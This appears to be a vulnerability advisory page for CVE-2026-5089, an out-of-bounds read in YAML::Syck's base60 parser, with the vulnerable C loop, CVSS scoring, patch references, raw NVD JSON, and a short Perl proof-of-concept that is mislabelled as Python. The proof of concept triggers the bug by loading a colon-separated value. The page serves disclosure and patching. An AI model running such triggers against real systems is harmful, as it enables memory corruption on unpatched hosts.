Security Vulnerability Report
中文
CVE-2026-5089 CVSS 7.3 HIGH

CVE-2026-5089

Published: 2026-05-12 17:16:22
Last Modified: 2026-05-14 15:16:49
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

YAML::Syck versions before 1.38 for Perl has an out-of-bounds read. The base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer: while ( colon >= ptr && *colon != ':' ) { colon--; } if ( *colon == ':' ) *colon = '\0'; // colon may be ptr-1 here When no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

YAML::Syck < 1.38

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # PoC for CVE-2026-5089: YAML::Syck Out-of-bounds Read # This script demonstrates the buffer underflow vulnerability # by parsing a colon-separated value. use strict; use warnings; use YAML::Syck; # The base60 parser is triggered on specific numeric formats. # A string like '1:30:45' forces the parser to process the '1' # as the leftmost segment. Without a preceding colon, # the internal pointer decrements past the buffer start. my $malicious_input = "1:30:45"; print "[*] Attempting to load malicious YAML data: '$malicious_input'\n"; eval { my $data = YAML::Syck::Load($malicious_input); print "[*] Data loaded (Crash or memory corruption may have occurred).\n"; print "[*] Parsed value: $data\n"; }; if ($@) { print "[!] Error occurred during parsing: $@\n"; } print "[*] PoC execution finished.\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5089", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-12T17:16:21.720", "lastModified": "2026-05-14T15:16:49.377", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "YAML::Syck versions before 1.38 for Perl has an out-of-bounds read.\n\nThe base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer:\n\n while ( colon >= ptr && *colon != ':' )\n {\n colon--;\n }\n if ( *colon == ':' ) *colon = '\\0'; // colon may be ptr-1 here\n\nWhen no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-124"}]}], "references": [{"url": "https://github.com/cpan-authors/YAML-Syck/commit/208a4d3bd1b5cdb4a791a6e3905bd6bd45e9d005.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/cpan-authors/YAML-Syck/issues/132", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://github.com/cpan-authors/YAML-Syck/pull/133", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/TODDR/YAML-Syck-1.38/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/12/16", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/cpan-authors/YAML-Syck/issues/132", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}